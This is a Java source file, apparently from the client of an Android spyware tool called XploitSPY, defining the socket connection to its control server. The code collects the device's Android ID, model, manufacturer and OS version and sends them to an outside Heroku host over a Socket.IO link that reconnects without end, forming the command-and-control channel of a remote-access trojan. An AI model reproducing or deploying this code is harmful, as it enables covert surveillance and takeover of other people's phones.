XploitSPY/client/app/src/main/java/com/remote/app/IOSocket.java

43 lines
1.1 KiB
Java

package com.remote.app;
import android.os.Build;
import android.provider.Settings;
import java.net.URISyntaxException;
import io.socket.client.IO;
import io.socket.client.Socket;
public class IOSocket {
private static IOSocket ourInstance = new IOSocket();
private io.socket.client.Socket ioSocket;
private IOSocket() {
try {
String deviceID = Settings.Secure.getString(MainService.getContextOfApplication().getContentResolver(), Settings.Secure.ANDROID_ID);
IO.Options opts = new IO.Options();
opts.reconnection = true;
opts.reconnectionDelay = 5000;
opts.reconnectionDelayMax = 999999999;
ioSocket = IO.socket("http://xwizer.herokuapp.com:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
} catch (URISyntaxException e) {
e.printStackTrace();
}
}
public static IOSocket getInstance() {
return ourInstance;
}
public Socket getIoSocket() {
return ioSocket;
}
}